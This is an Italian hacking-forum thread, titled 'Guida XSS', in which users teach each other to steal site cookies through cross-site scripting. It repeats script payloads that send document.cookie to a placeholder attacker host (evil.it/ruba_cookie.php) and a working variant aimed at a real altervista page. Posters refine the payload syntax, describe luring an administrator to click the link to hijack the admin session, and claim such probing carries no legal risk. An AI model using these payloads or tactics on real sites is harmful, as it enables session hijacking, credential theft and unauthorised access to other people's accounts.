Guida XSS

ecco ora ho capito, ma mi dovete togliere l'ultimo dubbio...quel codice lì che prende i cookie e me li invia via email...di chi sono?? se io volessi fare una prova a prendere i miei stessi cookie come faccio?basta che vado nell'indirizzo "evil" diciamo?? se io volessi prendere i cookie di una persona in particolare, dovrei fargli aprire quell'ìndirizzo?? Grazie a tutti per gli aiuti che mi state dando...;)
 
Ti ho già detto che dipende dalla deficienza dell'admin. Se tu gli fai inserire quel comando all'admin arriveranno i suoi cookie a te e a quel punto basta sostituirli con i tuoi e potrai loggarti cm admin. Almeno credo sia così...
 
ah...ho capito, ma devo fare in modo che l'admin cliccki quell'url con il codice...ma così allora nn è una tecnica attuabile solo in remoto, in questo caso ci vuole un po di social...
 
Lord_Lamorak ha detto:
L'hacking è una scienza, e va studiata.

Non tutte le XSS sono sfruttabbili. Hai presente la pagina ruba_cookie.php? tramite quella ti invii i cookie di quel sito internet, e nei cookie sono contenute le pass craccate in md5 o SHA-1 dipende.

Rubando i cookie quindi ottieni dei dati, come ottenerli?

Basta inserire nel textbox o nel collegamento che usa il metodo get
Codice:
"><script>location.href="http://evil.it/ruba_cookie.php"+document.cookie;</script>
o
"><script>location.href="http://evil.it/ruba_cookie.php",document.cookie;</script>
e te li invia alla tua e-mail.

Ci siamo?

L'hacking è scienza ricorda... non è distruzione

Lord hai fatto un paio di errori..non per essere pignolo ma si dice criptate in md5 non craccate xD

vabbè poi

Codice:
"><script>location.href="http://evil.it/ruba_cookie.php"+document.cookie;</script>
o
"><script>location.href="http://evil.it/ruba_cookie.php",document.cookie;</script>

ti sei diemnticato di mettere il ? seguito dalla variabile dell' $_GET del rubacookies...
 
Lord_Lamorak ha detto:
L'hacking è una scienza, e va studiata.

Non tutte le XSS sono sfruttabbili. Hai presente la pagina ruba_cookie.php? tramite quella ti invii i cookie di quel sito internet, e nei cookie sono contenute le pass criptate in md5 o SHA-1 dipende.

Rubando i cookie quindi ottieni dei dati, come ottenerli?

Basta inserire nel textbox o nel collegamento che usa il metodo get
Codice:
"><script>location.href="http://evil.it/ruba_cookie.php?"+document.cookie;</script>
o
"><script>location.href="http://evil.it/ruba_cookie.php?",document.cookie;</script>
e te li invia alla tua e-mail.

Ci siamo?

L'hacking è scienza ricorda... non è distruzione


hihih Lord ti sei sbagliato di nuovo deve essere ?var= + document.cookie...
devi dichiarare la variabile che immagazzina l'$_GET
 
ahahha,

E' giusto avere critiche, perchè solo con quelle si cresce
 
Puoi trovare XSS in diversi modi. Ad esempio, ci sono milioni di siti che presentano motori di ricerca interni. Inserendo nel motore di ricerca uno script del tipo:

Codice:
<script>alert("XSS")</script>

Se lo script viene eseguito, allora vuol dire che quel sito è vulnerabile. In caso contrario ovviamente no. E se il sito non presenta motori di ricerca? Puoi trovare XSS in tutti i campi modificabili, oppure sfruttando variabili buggate. Ma questi sono solo alcuni esempi: se cerchi una XSS ci vuole sempre un pò di immaginazione e innanzitutto bisogna esaminare bene il sorgente della pagina in questione.
 
Uhm, ho un piccolo problemino. Ho trovato una XSS grabbante su un sito..ma c'è un piccolo problema: inserisco nella variabile buggata questo:
Codice:
<script>location.href="http://sito.it/mail.php?c="+document.cookie;</script>

Tutto perfetto, premo Invio, mi riderecta..MA!!
Codice:
La pagina http://sezioneffe.altervista.org/mail.php?c=*i cookie scritti in chiaro* non è presente, questo può dipendere dal fatto che:

  # La pagina non esiste più.
  # Il link che hai seguito non è valido.
  # La pagina è stata spostata.

Che faccio? Demolisco Altervista o è un problema solo mio? :p

*EDIT*

Risolto, è bastato mettere a posto di document.cookie, escape(document.cookie), e funzia tutto perfettamente ;) Integratelo nella guida se volete.
 
ma nn ho ancora capito se all'amministratore risulta una ricerca sulla possibile presenza di una XSS nel suo sito
 
All'amministratore del sito non risulta nulla sempre se non effettua un controllo su tette le variabili del sito e salvandole in un file ( da paranoia totale :) )

Però risultano nei log di apache o iss, ma non si è mai finiti in galera per una xss te li puoi mettere a cercare anche senza proxi ;)

Però se poi con quella xss ci fai danni allora conoscerai i fantomatici GDF :D